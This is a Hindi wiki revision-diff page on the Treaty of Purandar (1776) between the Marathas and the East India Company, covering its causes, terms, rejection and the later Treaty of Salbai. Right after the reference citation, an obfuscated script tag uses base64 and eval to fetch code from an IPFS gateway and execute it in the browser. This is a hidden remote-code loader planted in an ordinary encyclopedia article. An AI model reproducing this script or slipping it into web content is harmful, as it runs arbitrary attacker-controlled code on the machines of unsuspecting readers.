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*'''पुरन्दर की संधि''' मार्च 1776 ई. में [[मराठा|मराठों]] तथा [[ईस्ट इंडिया कम्पनी]] के बीच हुई थी। | *'''पुरन्दर की संधि''' मार्च 1776 ई. में [[मराठा|मराठों]] तथा [[ईस्ट इंडिया कम्पनी]] के बीच हुई थी। | ||
− | * | + | *'बम्बई सरकार'' और अपने को [[पेशवा]] मानने वाले [[राघोवा]] के बीच 1775 ई. की [[सूरत की संधि]] के फलस्वरूप कम्पनी और [[मराठा|मराठों]] के बीच युद्ध छिड़ गया था। |
*इस युद्ध रोकने के लिए कम्पनी ने अपने प्रतिनिधि कर्नल अपटन को मराठों से संधि वार्ता के लिए भेजा था। | *इस युद्ध रोकने के लिए कम्पनी ने अपने प्रतिनिधि कर्नल अपटन को मराठों से संधि वार्ता के लिए भेजा था। | ||
*पुरन्दर की संधि के द्वारा [[अंग्रेज़|अंग्रेज़ों]] ने इस शर्त पर राघोबा का साथ छोड़ना स्वीकार कर लिया कि, उन्हें [[साष्टी]] को अपने अधिकार में रखने दिया जायेगा। | *पुरन्दर की संधि के द्वारा [[अंग्रेज़|अंग्रेज़ों]] ने इस शर्त पर राघोबा का साथ छोड़ना स्वीकार कर लिया कि, उन्हें [[साष्टी]] को अपने अधिकार में रखने दिया जायेगा। | ||
− | *कोर्ट ऑफ़ डाइरेक्टर्स ने इस संधि को नामंज़ूर कर दिया और जिसके फलस्वरूप मराठों से फिर युद्ध छिड़ गया। | + | *'कोर्ट ऑफ़ डाइरेक्टर्स' ने इस संधि को नामंज़ूर कर दिया और जिसके फलस्वरूप मराठों से फिर युद्ध छिड़ गया। |
*यह युद्ध 1782 ई. तक चलता रहा और [[सालबाई की सन्धि]] के द्वारा ही समाप्त हुआ। | *यह युद्ध 1782 ई. तक चलता रहा और [[सालबाई की सन्धि]] के द्वारा ही समाप्त हुआ। | ||
*अंग्रेज़ों ने सालबाई में पुरन्दर की संधि की सभी शर्तें स्वीकार कर लीं और मराठों से एक प्रकार से सुलह कर ली। | *अंग्रेज़ों ने सालबाई में पुरन्दर की संधि की सभी शर्तें स्वीकार कर लीं और मराठों से एक प्रकार से सुलह कर ली। |
11:23, 23 अप्रैल 2012 का अवतरण
- पुरन्दर की संधि मार्च 1776 ई. में मराठों तथा ईस्ट इंडिया कम्पनी के बीच हुई थी।
- 'बम्बई सरकार और अपने को पेशवा मानने वाले राघोवा के बीच 1775 ई. की सूरत की संधि के फलस्वरूप कम्पनी और मराठों के बीच युद्ध छिड़ गया था।
- इस युद्ध रोकने के लिए कम्पनी ने अपने प्रतिनिधि कर्नल अपटन को मराठों से संधि वार्ता के लिए भेजा था।
- पुरन्दर की संधि के द्वारा अंग्रेज़ों ने इस शर्त पर राघोबा का साथ छोड़ना स्वीकार कर लिया कि, उन्हें साष्टी को अपने अधिकार में रखने दिया जायेगा।
- 'कोर्ट ऑफ़ डाइरेक्टर्स' ने इस संधि को नामंज़ूर कर दिया और जिसके फलस्वरूप मराठों से फिर युद्ध छिड़ गया।
- यह युद्ध 1782 ई. तक चलता रहा और सालबाई की सन्धि के द्वारा ही समाप्त हुआ।
- अंग्रेज़ों ने सालबाई में पुरन्दर की संधि की सभी शर्तें स्वीकार कर लीं और मराठों से एक प्रकार से सुलह कर ली।
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टीका टिप्पणी और संदर्भ
भट्टाचार्य, सच्चिदानन्द भारतीय इतिहास कोश, द्वितीय संस्करण-1989 (हिन्दी), भारत डिस्कवरी पुस्तकालय: उत्तर प्रदेश हिन्दी संस्थान, 242।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
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